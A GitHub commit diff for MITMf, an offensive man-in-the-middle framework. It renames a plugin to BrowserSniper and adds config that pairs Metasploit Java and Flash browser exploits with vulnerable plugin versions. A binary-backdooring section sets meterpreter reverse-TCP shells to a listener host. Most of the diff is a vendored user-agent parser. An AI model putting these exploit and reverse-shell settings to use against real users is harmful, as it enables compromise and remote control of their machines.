mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 13:32:18 -07:00
This commit is just to push the changes so far to github , still have to tidy things up here and there and fix some bugs (also I really hate javascript)
JavaPwn plugin has been renamed to BrowserSniper (cause it now supports java, flash and browser exploits), it's been completly re-written along with it's config file section Addition of the screenshotter plugin, currently there is a bug when decoding the base64 encoded png files (a very wierd one) , but other than that it works (did i mention i hate js?) Jskeylogger's javscript now works on every browser except FF mobile (have no clue what's with that) p.s. did i mention i hate JS? Plugins that deal with javascript now read it from a file as supposed to having it built in (encoding issues) fu javascript User agent parsing is now built in and handled by core/httpagentparser.py, this because the user-agent library is a pain to install on some distros , also removes 3-4 deps which is a plus also fuck javascript
This commit is contained in:
parent
86870b8b72
commit
ff39a302f9
32 changed files with 4378 additions and 681 deletions
|
@ -72,9 +72,9 @@ How to install on Kali
|
|||
Installation
|
||||
============
|
||||
If MITMf is not in your distros repo or you just want the latest version:
|
||||
- clone this repository
|
||||
- run the ```setup.sh``` script
|
||||
- run the command ```pip install -r requirements.txt``` to install all python dependencies
|
||||
- Clone this repository
|
||||
- Run the ```setup.sh``` script
|
||||
- Run the command ```pip install -r requirements.txt``` to install all python dependencies
|
||||
|
||||
On Kali Linux, if you get an error while installing the ```pypcap``` package or when starting MITMf you see: ```ImportError: no module named pcap``` run ```apt-get install python-pypcap``` to fix it.
|
||||
|
||||
|
|
|
@ -18,7 +18,8 @@
|
|||
pass = beef
|
||||
|
||||
[[Metasploit]]
|
||||
msfport = 8080 #Port to start webserver for exploits
|
||||
|
||||
msfport = 8080 #Port to start Metasploit's webserver on that will host exploits
|
||||
rpcip = 127.0.0.1
|
||||
rpcpass = abc123
|
||||
|
||||
|
@ -231,37 +232,90 @@
|
|||
skip_in_mass_poison=1
|
||||
#you can add other scripts in additional sections like jQuery etc.
|
||||
|
||||
[BrowserPwn]
|
||||
|
||||
[BrowserSniper]
|
||||
#
|
||||
# All versions strings without a * are considered vulnerable if clients Java version is <= update version
|
||||
# When adding more exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28
|
||||
# Currently only supports java, flash and browser exploits
|
||||
#
|
||||
# The version strings were pulled from http://www.cvedetails.com
|
||||
#
|
||||
# When adding java exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28
|
||||
#
|
||||
|
||||
[[Multi]] #Cross platform exploits, yay java! <3
|
||||
[[multi/browser/java_rhino]] #Exploit's MSF path
|
||||
|
||||
multi/browser/java_rhino = 1.6.0.28, 1.7.0.28
|
||||
multi/browser/java_calendar_deserialize = 1.6.0.10, 1.5.0.16
|
||||
multi/browser/java_getsoundbank_bof = 1.6.0.16, 1.5.0.21, 1.4.2.23, 1.3.1.26
|
||||
multi/browser/java_atomicreferencearray = 1.6.0.30, 1.5.0.33, 1.7.0.2
|
||||
multi/browser/java_jre17_exec = 1.7.0.6
|
||||
multi/browser/java_jre17_jaxws = 1.7.0.7
|
||||
multi/browser/java_jre17_jmxbean = 1.7.0.10
|
||||
multi/browser/java_jre17_jmxbean_2 = 1.7.0.11
|
||||
multi/browser/java_jre17_reflection_types = 1.7.0.17
|
||||
multi/browser/java_verifier_field_access = 1.7.0.4, 1.6.0.32, 1.5.0.35, 1.4.2.37
|
||||
multi/browser/java_jre17_glassfish_averagerangestatisticimpl = 1.7.0.7
|
||||
multi/browser/java_jre17_method_handle = 1.7.0.7
|
||||
multi/browser/java_jre17_driver_manager = 1.7.0.17
|
||||
multi/browser/java_jre17_provider_skeleton = 1.7.0.21
|
||||
multi/browser/java_storeimagearray = 1.7.0.21
|
||||
multi/browser/java_setdifficm_bof = *1.6.0.16, *1.6.0.11
|
||||
Type = PluginVuln #Can be set to PluginVuln, BrowserVuln
|
||||
OS = Any #Can be set to Any, Windows or Windows + version (e.g Windows 8.1)
|
||||
|
||||
[[Windows]] #These are windows specific
|
||||
Browser = Any #Can be set to Any, Chrome, Firefox, IE or browser + version (e.g IE 6)
|
||||
Plugin = Java #Can be set to Java, Flash (if Type is BrowserVuln will be ignored)
|
||||
|
||||
windows/browser/java_ws_double_quote = 1.6.0.35, 1.7.0.7
|
||||
windows/browser/java_cmm = 1.6.0.41, 1.7.0.15
|
||||
windows/browser/java_mixer_sequencer = 1.6.0.18
|
||||
#An exact list of the plugin versions affected (if Type is BrowserVuln will be ignored)
|
||||
PluginVersions = 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.23, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.3, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0
|
||||
|
||||
[[multi/browser/java_atomicreferencearray]]
|
||||
|
||||
Type = PluginVuln
|
||||
OS = Any
|
||||
Browser = Any
|
||||
Plugin = Java
|
||||
PluginVersions = 1.5.0, 1.5.0.1, 1.5.0.10, 1.5.0.11, 1.5.0.12, 1.5.0.13, 1.5.0.14, 1.5.0.15, 1.5.0.16, 1.5.0.17, 1.5.0.18, 1.5.0.19, 1.5.0.2, 1.5.0.20, 1.5.0.21, 1.5.0.22, 1.5.0.23, 1.5.0.24, 1.5.0.25, 1.5.0.26, 1.5.0.27, 1.5.0.28, 1.5.0.29, 1.5.0.3, 1.5.0.31, 1.5.0.33, 1.5.0.4, 1.5.0.5, 1.5.0.6, 1.5.0.7, 1.5.0.8, 1.5.0.9, 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.29, 1.6.0.3, 1.6.0.30, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0, 1.7.0.1, 1.7.0.2
|
||||
|
||||
[[multi/browser/java_jre17_jmxbean_2]]
|
||||
|
||||
Type = PluginVuln
|
||||
OS = Any
|
||||
Browser = Any
|
||||
Plugin = Java
|
||||
PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
|
||||
|
||||
[[multi/browser/java_jre17_reflection_types]]
|
||||
|
||||
Type = PluginVuln
|
||||
OS = Any
|
||||
Browser = Any
|
||||
Plugin = Java
|
||||
PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
|
||||
|
||||
[[multi/browser/java_verifier_field_access]]
|
||||
|
||||
Type = PluginVuln
|
||||
OS = Any
|
||||
Browser = Any
|
||||
Plugin = Java
|
||||
PluginVersions = 1.4.2.37, 1.5.0.35, 1.6.0.32, 1.7.0.4
|
||||
|
||||
[[multi/browser/java_jre17_provider_skeleton]]
|
||||
|
||||
Type = PluginVuln
|
||||
OS = Any
|
||||
Browser = Any
|
||||
Plugin = Java
|
||||
PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.21, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
|
||||
|
||||
|
||||
[[exploit/windows/browser/adobe_flash_pcre]]
|
||||
|
||||
Type = PluginVuln
|
||||
OS = Windows
|
||||
Browser = Any
|
||||
Plugin = Flash
|
||||
PluginVersions = 11.2.202.440, 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296
|
||||
|
||||
[[exploit/windows/browser/adobe_flash_net_connection_confusion]]
|
||||
|
||||
Type = PluginVuln
|
||||
OS = Windows
|
||||
Browser = Any
|
||||
Plugin = Flash
|
||||
PluginVersions = 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 16.0.0.305
|
||||
|
||||
[[exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array]]
|
||||
|
||||
Type = PluginVuln
|
||||
OS = Windows
|
||||
Browser = Any
|
||||
Plugin = Flash
|
||||
PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144
|
||||
|
||||
[SSLstrip+]
|
||||
|
||||
|
@ -367,21 +421,23 @@
|
|||
MSFPAYLOAD = linux/x64/shell_reverse_tcp
|
||||
|
||||
[[[[WindowsIntelx86]]]]
|
||||
PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND
|
||||
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
|
||||
# PATCH_METHOD overwrites PATCH_TYPE with jump
|
||||
PATCH_METHOD = automatic
|
||||
# PATCH_METHOD = automatic
|
||||
PATCH_METHOD =
|
||||
HOST = 192.168.1.16
|
||||
PORT = 8443
|
||||
SHELL = iat_reverse_tcp_stager_threaded
|
||||
SUPPLIED_SHELLCODE = None
|
||||
ZERO_CERT = False
|
||||
PATCH_DLL = True
|
||||
ZERO_CERT = True
|
||||
PATCH_DLL = False
|
||||
MSFPAYLOAD = windows/meterpreter/reverse_tcp
|
||||
|
||||
[[[[WindowsIntelx64]]]]
|
||||
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
|
||||
# PATCH_METHOD overwrites PATCH_TYPE with jump
|
||||
PATCH_METHOD = automatic
|
||||
# PATCH_METHOD = automatic
|
||||
PATCH_METHOD =
|
||||
HOST = 192.168.1.16
|
||||
PORT = 8088
|
||||
SHELL = iat_reverse_tcp_stager_threaded
|
||||
|
|
|
@ -83,25 +83,10 @@ class SSLServerConnection(ServerConnection):
|
|||
|
||||
return data
|
||||
|
||||
def replaceFavicon(self, data):
|
||||
match = re.search(SSLServerConnection.iconExpression, data)
|
||||
|
||||
if (match != None):
|
||||
data = re.sub(SSLServerConnection.iconExpression,
|
||||
"<link rel=\"SHORTCUT ICON\" href=\"/favicon-x-favicon-x.ico\">", data)
|
||||
else:
|
||||
data = re.sub(SSLServerConnection.headExpression,
|
||||
"<head><link rel=\"SHORTCUT ICON\" href=\"/favicon-x-favicon-x.ico\">", data)
|
||||
|
||||
return data
|
||||
|
||||
def replaceSecureLinks(self, data):
|
||||
data = ServerConnection.replaceSecureLinks(self, data)
|
||||
data = self.replaceCssLinks(data)
|
||||
|
||||
if (self.urlMonitor.isFaviconSpoofing()):
|
||||
data = self.replaceFavicon(data)
|
||||
|
||||
iterator = re.finditer(SSLServerConnection.linkExpression, data)
|
||||
|
||||
for match in iterator:
|
673
core/httpagentparser.py
Normal file
673
core/httpagentparser.py
Normal file
|
@ -0,0 +1,673 @@
|
|||
#
|
||||
#httpagentparser library, stolen from https://github.com/shon/httpagentparser
|
||||
#
|
||||
|
||||
"""
|
||||
Extract client information from http user agent
|
||||
The module does not try to detect all capabilities of browser in current form (it can easily be extended though).
|
||||
Tries to
|
||||
* be fast
|
||||
* very easy to extend
|
||||
* reliable enough for practical purposes
|
||||
* assist python web apps to detect clients.
|
||||
"""
|
||||
|
||||
__version__ = '1.7.7'
|
||||
|
||||
|
||||
class DetectorsHub(dict):
|
||||
_known_types = ['os', 'dist', 'flavor', 'browser']
|
||||
|
||||
def __init__(self, *args, **kw):
|
||||
dict.__init__(self, *args, **kw)
|
||||
for typ in self._known_types:
|
||||
self.setdefault(typ, [])
|
||||
self.registerDetectors()
|
||||
|
||||
def register(self, detector):
|
||||
if detector.info_type not in self._known_types:
|
||||
self[detector.info_type] = [detector]
|
||||
self._known_types.insert(detector.order, detector.info_type)
|
||||
else:
|
||||
self[detector.info_type].append(detector)
|
||||
|
||||
def __iter__(self):
|
||||
return iter(self._known_types)
|
||||
|
||||
def registerDetectors(self):
|
||||
detectors = [v() for v in globals().values() if DetectorBase in getattr(v, '__mro__', [])]
|
||||
for d in detectors:
|
||||
if d.can_register:
|
||||
self.register(d)
|
||||
|
||||
|
||||
class DetectorBase(object):
|
||||
name = "" # "to perform match in DetectorsHub object"
|
||||
info_type = "override me"
|
||||
result_key = "override me"
|
||||
order = 10 # 0 is highest
|
||||
look_for = "string to look for"
|
||||
skip_if_found = [] # strings if present stop processin
|
||||
can_register = False
|
||||
version_markers = [("/", " ")]
|
||||
allow_space_in_version = False
|
||||
_suggested_detectors = None
|
||||
platform = None
|
||||
bot = False
|
||||
|
||||
def __init__(self):
|
||||
if not self.name:
|
||||
self.name = self.__class__.__name__
|
||||
self.can_register = (self.__class__.__dict__.get('can_register', True))
|
||||
|
||||
def detect(self, agent, result):
|
||||
# -> True/None
|
||||
word = self.checkWords(agent)
|
||||
if word:
|
||||
result[self.info_type] = dict(name=self.name)
|
||||
result['bot'] = self.bot
|
||||
version = self.getVersion(agent, word)
|
||||
if version:
|
||||
result[self.info_type]['version'] = version
|
||||
if self.platform:
|
||||
result['platform'] = {'name': self.platform, 'version': version}
|
||||
return True
|
||||
|
||||
def checkWords(self, agent):
|
||||
# -> True/None
|
||||
for w in self.skip_if_found:
|
||||
if w in agent:
|
||||
return False
|
||||
if isinstance(self.look_for, (tuple, list)):
|
||||
for word in self.look_for:
|
||||
if word in agent:
|
||||
return word
|
||||
elif self.look_for in agent:
|
||||
return self.look_for
|
||||
|
||||
def getVersion(self, agent, word):
|
||||
"""
|
||||
=> version string /None
|
||||
"""
|
||||
version_markers = self.version_markers if \
|
||||
isinstance(self.version_markers[0], (list, tuple)) else [self.version_markers]
|
||||
version_part = agent.split(word, 1)[-1]
|
||||
for start, end in version_markers:
|
||||
if version_part.startswith(start) and end in version_part:
|
||||
version = version_part[1:]
|
||||
if end: # end could be empty string
|
||||
version = version.split(end)[0]
|
||||
if not self.allow_space_in_version:
|
||||
version = version.split()[0]
|
||||
return version
|
||||
|
||||
|
||||
class OS(DetectorBase):
|
||||
info_type = "os"
|
||||
can_register = False
|
||||
version_markers = [";", " "]
|
||||
allow_space_in_version = True
|
||||
platform = None
|
||||
|
||||
|
||||
class Dist(DetectorBase):
|
||||
info_type = "dist"
|
||||
can_register = False
|
||||
platform = None
|
||||
|
||||
|
||||
class Flavor(DetectorBase):
|
||||
info_type = "flavor"
|
||||
can_register = False
|
||||
platform = None
|
||||
|
||||
|
||||
class Browser(DetectorBase):
|
||||
info_type = "browser"
|
||||
can_register = False
|
||||
|
||||
|
||||
class Firefox(Browser):
|
||||
look_for = "Firefox"
|
||||
version_markers = [('/', '')]
|
||||
skip_if_found = ["SeaMonkey", "web/snippet"]
|
||||
|
||||
|
||||
class SeaMonkey(Browser):
|
||||
look_for = "SeaMonkey"
|
||||
version_markers = [('/', '')]
|
||||
|
||||
|
||||
class Konqueror(Browser):
|
||||
look_for = "Konqueror"
|
||||
version_markers = ["/", ";"]
|
||||
|
||||
|
||||
class OperaMobile(Browser):
|
||||
look_for = "Opera Mobi"
|
||||
name = "Opera Mobile"
|
||||
|
||||
def getVersion(self, agent, word):
|
||||
try:
|
||||
look_for = "Version"
|
||||
return agent.split(look_for)[1][1:].split(' ')[0]
|
||||
except IndexError:
|
||||
look_for = "Opera"
|
||||
return agent.split(look_for)[1][1:].split(' ')[0]
|
||||
|
||||
|
||||
class Opera(Browser):
|
||||
look_for = "Opera"
|
||||
|
||||
def getVersion(self, agent, word):
|
||||
try:
|
||||
look_for = "Version"
|
||||
return agent.split(look_for)[1][1:].split(' ')[0]
|
||||
except IndexError:
|
||||
look_for = "Opera"
|
||||
version = agent.split(look_for)[1][1:].split(' ')[0]
|
||||
return version.split('(')[0]
|
||||
|
||||
|
||||
class OperaNew(Browser):
|
||||
"""
|
||||
Opera after version 15
|
||||
"""
|
||||
name = "Opera"
|
||||
look_for = "OPR"
|
||||
version_markers = [('/', '')]
|
||||
|
||||
|
||||
class Netscape(Browser):
|
||||
look_for = "Netscape"
|
||||
version_markers = [("/", '')]
|
||||
|
||||
|
||||
class Trident(Browser):
|
||||
look_for = "Trident"
|
||||
skip_if_found = ["MSIE", "Opera"]
|
||||
name = "IE"
|
||||
version_markers = ["/", ";"]
|
||||
trident_to_ie_versions = {
|
||||
'4.0': '8.0',
|
||||
'5.0': '9.0',
|
||||
'6.0': '10.0',
|
||||
'7.0': '11.0',
|
||||
}
|
||||
|
||||
def getVersion(self, agent, word):
|
||||
return self.trident_to_ie_versions.get(super(Trident, self).getVersion(agent, word))
|
||||
|
||||
|
||||
class MSIE(Browser):
|
||||
look_for = "MSIE"
|
||||
skip_if_found = ["Opera"]
|
||||
name = "IE"
|
||||
version_markers = [" ", ";"]
|
||||
|
||||
|
||||
class Galeon(Browser):
|
||||
look_for = "Galeon"
|
||||
|
||||
|
||||
class WOSBrowser(Browser):
|
||||
look_for = "wOSBrowser"
|
||||
|
||||
def getVersion(self, agent, word):
|
||||
pass
|
||||
|
||||
|
||||
class Safari(Browser):
|
||||
look_for = "Safari"
|
||||
|
||||
def checkWords(self, agent):
|
||||
unless_list = ["Chrome", "OmniWeb", "wOSBrowser", "Android"]
|
||||
if self.look_for in agent:
|
||||
for word in unless_list:
|
||||
if word in agent:
|
||||
return False
|
||||
return self.look_for
|
||||
|
||||
def getVersion(self, agent, word):
|
||||
if "Version/" in agent:
|
||||
return agent.split('Version/')[-1].split(' ')[0].strip()
|
||||
if "Safari/" in agent:
|
||||
return agent.split('Safari/')[-1].split(' ')[0].strip()
|
||||
else:
|
||||
return agent.split('Safari ')[-1].split(' ')[0].strip() # Mobile Safari
|
||||
|
||||
class GoogleBot(Browser):
|
||||
# https://support.google.com/webmasters/answer/1061943
|
||||
look_for = ["Googlebot", "Googlebot-News", "Googlebot-Image",
|
||||
"Googlebot-Video", "Googlebot-Mobile", "Mediapartners-Google",
|
||||
"Mediapartners", "AdsBot-Google", "web/snippet"]
|
||||
bot = True
|
||||
version_markers = [('/', ';'), ('/', ' ')]
|
||||
|
||||
class GoogleFeedFetcher(Browser):
|
||||
look_for = "Feedfetcher-Google"
|
||||
bot = True
|
||||
|
||||
def get_version(self, agent):
|
||||
pass
|
||||
|
||||
class RunscopeRadar(Browser):
|
||||
look_for = "runscope-radar"
|
||||
bot = True
|
||||
|
||||
class GoogleAppEngine(Browser):
|
||||
look_for = "AppEngine-Google"
|
||||
bot = True
|
||||
|
||||
def get_version(self, agent):
|
||||
pass
|
||||
|
||||
class GoogleApps(Browser):
|
||||
look_for = "GoogleApps script"
|
||||
bot = True
|
||||
|
||||
def get_version(self, agent):
|
||||
pass
|
||||
|
||||
class TwitterBot(Browser):
|
||||
look_for = "Twitterbot"
|
||||
bot = True
|
||||
|
||||
class MJ12Bot(Browser):
|
||||
look_for = "MJ12bot"
|
||||
bot = True
|
||||
|
||||
class YandexBot(Browser):
|
||||
# http://help.yandex.com/search/robots/agent.xml
|
||||
look_for = "Yandex"
|
||||
bot = True
|
||||
|
||||
def getVersion(self, agent, word):
|
||||
return agent[agent.index('Yandex'):].split('/')[-1].split(')')[0].strip()
|
||||
|
||||
class BingBot(Browser):
|
||||
look_for = "bingbot"
|
||||
version_markers = ["/", ";"]
|
||||
bot = True
|
||||
|
||||
|
||||
class BaiduBot(Browser):
|
||||
# http://help.baidu.com/question?prod_en=master&class=1&id=1000973
|
||||
look_for = ["Baiduspider", "Baiduspider-image", "Baiduspider-video",
|
||||
"Baiduspider-news", "Baiduspider-favo", "Baiduspider-cpro",
|
||||
"Baiduspider-ads"]
|
||||
bot = True
|
||||
version_markers = ('/', ';')
|
||||
|
||||
|
||||
class LinkedInBot(Browser):
|
||||
look_for = "LinkedInBot"
|
||||
bot = True
|
||||
|
||||
class ArchiveDotOrgBot(Browser):
|
||||
look_for = "archive.org_bot"
|
||||
bot = True
|
||||
|
||||
class YoudaoBot(Browser):
|
||||
look_for = "YoudaoBot"
|
||||
bot = True
|
||||
|
||||
class YoudaoBotImage(Browser):
|
||||
look_for = "YodaoBot-Image"
|
||||
bot = True
|
||||
|
||||
class RogerBot(Browser):
|
||||
look_for = "rogerbot"
|
||||
bot = True
|
||||
|
||||
class TweetmemeBot(Browser):
|
||||
look_for = "TweetmemeBot"
|
||||
bot = True
|
||||
|
||||
class WebshotBot(Browser):
|
||||
look_for = "WebshotBot"
|
||||
bot = True
|
||||
|
||||
class SensikaBot(Browser):
|
||||
look_for = "SensikaBot"
|
||||
bot = True
|
||||
|
||||
class YesupBot(Browser):
|
||||
look_for = "YesupBot"
|
||||
bot = True
|
||||
|
||||
class DotBot(Browser):
|
||||
look_for = "DotBot"
|
||||
bot = True
|
||||
|
||||
class PhantomJS(Browser):
|
||||
look_for = "Browser/Phantom"
|
||||
bot = True
|
||||
|
||||
class FacebookExternalHit(Browser):
|
||||
look_for = 'facebookexternalhit'
|
||||
bot = True
|
||||
|
||||
|
||||
class NokiaOvi(Browser):
|
||||
look_for = "S40OviBrowser"
|
||||
|
||||
class UCBrowser(Browser):
|
||||
look_for = "UCBrowser"
|
||||
|
||||
class BrowserNG(Browser):
|
||||
look_for = "BrowserNG"
|
||||
|
||||
class Dolfin(Browser):
|
||||
look_for = 'Dolfin'
|
||||
|
||||
class NetFront(Browser):
|
||||
look_for = 'NetFront'
|
||||
|
||||
class Jasmine(Browser):
|
||||
look_for = 'Jasmine'
|
||||
|
||||
class Openwave(Browser):
|
||||
look_for = 'Openwave'
|
||||
|
||||
class UPBrowser(Browser):
|
||||
look_for = 'UP.Browser'
|
||||
|
||||
class OneBrowser(Browser):
|
||||
look_for = 'OneBrowser'
|
||||
|
||||
class ObigoInternetBrowser(Browser):
|
||||
look_for = 'ObigoInternetBrowser'
|
||||
|
||||
class TelecaBrowser(Browser):
|
||||
look_for = 'TelecaBrowser'
|
||||
|
||||
class MAUI(Browser):
|
||||
look_for = 'Browser/MAUI'
|
||||
|
||||
def getVersion(self, agent, word):
|
||||
version = agent.split("Release/")[-1][:10]
|
||||
return version
|
||||
|
||||
|
||||
class NintendoBrowser(Browser):
|
||||
look_for = 'NintendoBrowser'
|
||||
|
||||
|
||||
class AndroidBrowser(Browser):
|
||||
look_for = "Android"
|
||||
skip_if_found = ['Chrome', 'Windows Phone']
|
||||
|
||||
# http://decadecity.net/blog/2013/11/21/android-browser-versions
|
||||
def getVersion(self, agent, word):
|
||||
pass
|
||||
|
||||
|
||||
class Linux(OS):
|
||||
look_for = 'Linux'
|
||||
platform = 'Linux'
|
||||
|
||||
def getVersion(self, agent, word):
|
||||
pass
|
||||
|
||||
|
||||
class Blackberry(OS):
|
||||
look_for = 'BlackBerry'
|
||||
platform = 'BlackBerry'
|
||||
|
||||
def getVersion(self, agent, word):
|
||||
pass
|
||||
|
||||
|
||||
class BlackberryPlaybook(Dist):
|
||||
look_for = 'PlayBook'
|
||||
platform = 'BlackBerry'
|
||||
|
||||
def getVersion(self, agent, word):
|
||||
pass
|
||||
|
||||
|
||||
class WindowsPhone(OS):
|
||||
name = "Windows Phone"
|
||||
platform = 'Windows'
|
||||
look_for = ["Windows Phone OS", "Windows Phone"]
|
||||
version_markers = [(" ", ";"), (" ", ")")]
|
||||
|
||||
|
||||
class iOS(OS):
|
||||
look_for = ('iPhone', 'iPad')
|
||||
skip_if_found = ['like iPhone']
|
||||
|
||||
|
||||
class iPhone(Dist):
|
||||
look_for = 'iPhone'
|
||||
platform = 'iOS'
|
||||
skip_if_found = ['like iPhone']
|
||||
|
||||
def getVersion(self, agent, word):
|
||||
version_end_chars = [' ']
|
||||
if not "iPhone OS" in agent:
|
||||
return None
|
||||
part = agent.split('iPhone OS')[-1].strip()
|
||||
for c in version_end_chars:
|
||||
if c in part:
|
||||
version = part.split(c)[0]
|
||||
return version.replace('_', '.')
|
||||
return None
|
||||
|
||||
|
||||
class IPad(Dist):
|
||||
look_for = 'iPad;'
|
||||
platform = 'iOS'
|
||||
|
||||
def getVersion(self, agent, word):
|
||||
version_end_chars = [' ']
|
||||
if not "CPU OS " in agent:
|
||||
return None
|
||||
part = agent.split('CPU OS ')[-1].strip()
|
||||
for c in version_end_chars:
|
||||
if c in part:
|
||||
version = part.split(c)[0]
|
||||
return version.replace('_', '.')
|
||||
return None
|
||||
|
||||
|
||||
class Macintosh(OS):
|
||||
look_for = 'Macintosh'
|
||||
|
||||
def getVersion(self, agent, word):
|
||||
pass
|
||||
|
||||
|
||||
class MacOS(Flavor):
|
||||
look_for = 'Mac OS'
|
||||
platform = 'Mac OS'
|
||||
skip_if_found = ['iPhone', 'iPad']
|
||||
|
||||
def getVersion(self, agent, word):
|
||||
version_end_chars = [';', ')']
|
||||
part = agent.split('Mac OS')[-1].strip()
|
||||
for c in version_end_chars:
|
||||
if c in part:
|
||||
version = part.split(c)[0]
|
||||
return version.replace('_', '.')
|
||||
return ''
|
||||
|
||||
|
||||
class Windows(Dist):
|
||||
look_for = 'Windows'
|
||||
platform = 'Windows'
|
||||
|
||||
|
||||
class Windows(OS):
|
||||
look_for = 'Windows'
|
||||
platform = 'Windows'
|
||||
skip_if_found = ["Windows Phone"]
|
||||
win_versions = {
|
||||
"NT 6.3": "8.1",
|
||||
"NT 6.2": "8",
|
||||
"NT 6.1": "7",
|
||||
"NT 6.0": "Vista",
|
||||
"NT 5.2": "Server 2003 / XP x64",
|
||||
"NT 5.1": "XP",
|
||||
"NT 5.01": "2000 SP1",
|
||||
"NT 5.0": "2000",
|
||||
"98; Win 9x 4.90": "Me"
|
||||
}
|
||||
|
||||
def getVersion(self, agent, word):
|
||||
v = agent.split('Windows')[-1].split(';')[0].strip()
|
||||
if ')' in v:
|
||||
v = v.split(')')[0]
|
||||
v = self.win_versions.get(v, v)
|
||||
return v
|
||||
|
||||
|
||||
class Ubuntu(Dist):
|
||||
look_for = 'Ubuntu'
|
||||
version_markers = ["/", " "]
|
||||
|
||||
|
||||
class Debian(Dist):
|
||||
look_for = 'Debian'
|
||||
version_markers = ["/", " "]
|
||||
|
||||
|
||||
class Chrome(Browser):
|
||||
look_for = "Chrome"
|
||||
version_markers = ["/", " "]
|
||||
skip_if_found = ["OPR"]
|
||||
|
||||
def getVersion(self, agent, word):
|
||||
part = agent.split(word + self.version_markers[0])[-1]
|
||||
version = part.split(self.version_markers[1])[0]
|
||||
if '+' in version:
|
||||
version = part.split('+')[0]
|
||||
return version.strip()
|
||||
|
||||
|
||||
class ChromeiOS(Browser):
|
||||
look_for = "CriOS"
|
||||
version_markers = ["/", " "]
|
||||
|
||||
|
||||
class ChromeOS(OS):
|
||||
look_for = "CrOS"
|
||||
platform = ' ChromeOS'
|
||||
version_markers = [" ", " "]
|
||||
|
||||
def getVersion(self, agent, word):
|
||||
version_markers = self.version_markers
|
||||
if word + '+' in agent:
|
||||
version_markers = ['+', '+']
|
||||
return agent.split(word + version_markers[0])[-1].split(version_markers[1])[1].strip()[:-1]
|
||||
|
||||
|
||||
class Android(Dist):
|
||||
look_for = 'Android'
|
||||
platform = 'Android'
|
||||
skip_if_found = ['Windows Phone']
|
||||
|
||||
def getVersion(self, agent, word):
|
||||
return agent.split(word)[-1].split(';')[0].strip()
|
||||
|
||||
|
||||
class WebOS(Dist):
|
||||
look_for = 'hpwOS'
|
||||
|
||||
def getVersion(self, agent, word):
|
||||
return agent.split('hpwOS/')[-1].split(';')[0].strip()
|
||||
|
||||
|
||||
class NokiaS40(OS):
|
||||
look_for = 'Series40'
|
||||
platform = 'Nokia S40'
|
||||
|
||||
def getVersion(self, agent, word):
|
||||
pass
|
||||
|
||||
|
||||
class Symbian(OS):
|
||||
look_for = ['Symbian', 'SymbianOS']
|
||||
platform = 'Symbian'
|
||||
|
||||
|
||||
class PlayStation(OS):
|
||||
look_for = ['PlayStation', 'PLAYSTATION']
|
||||
platform = 'PlayStation'
|
||||
version_markers = [" ", ")"]
|
||||
|
||||
|
||||
class prefs: # experimental
|
||||
os = dict(
|
||||
Linux=dict(dict(browser=[Firefox, Chrome], dist=[Ubuntu, Android])),
|
||||
BlackBerry=dict(dist=[BlackberryPlaybook]),
|
||||
Macintosh=dict(flavor=[MacOS]),
|
||||
Windows=dict(browser=[MSIE, Firefox]),
|
||||
ChromeOS=dict(browser=[Chrome]),
|
||||
Debian=dict(browser=[Firefox])
|
||||
)
|
||||
dist = dict(
|
||||
Ubuntu=dict(browser=[Firefox]),
|
||||
Android=dict(browser=[Safari]),
|
||||
IPhone=dict(browser=[Safari]),
|
||||
IPad=dict(browser=[Safari]),
|
||||
)
|
||||
